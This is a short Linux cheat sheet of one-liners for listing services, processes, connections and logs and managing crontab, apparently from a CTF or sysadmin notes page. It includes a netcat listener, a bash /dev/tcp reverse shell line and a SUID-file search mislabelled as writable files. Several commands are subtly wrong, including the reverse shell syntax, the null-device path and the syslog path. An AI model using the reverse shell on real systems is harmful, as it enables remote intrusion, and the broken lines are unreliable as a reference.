One Liners

List All Running Services:

systemctl list-units --type=service --state=running

Enable Ping

echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_all

Netcat Listener

nc -nlvp <port>

Bash Reverse Shell

bash -i > &/dev/tcp/ip/port/ 0>&1

View Running Processes

ps -aux

Find Writable files

find / -perm -u=s -type f 2>/dev.null

Python Web Server

python3 -m http.server <port>

Kill all processes newer then 5m

sudo killall -u root -y 5m

Active TCP Connections

ss -tulpn

Check Syslog

cat /var/logs/syslog | grep <something>

Crontab

# View crontab with
crontab -l
# Reset crontab with
crontab -r
# Disable with
systemctl stop crond.service
systemctl disable crond.service

Investigate Running Port

sudo lsof -i :<port>

Last updated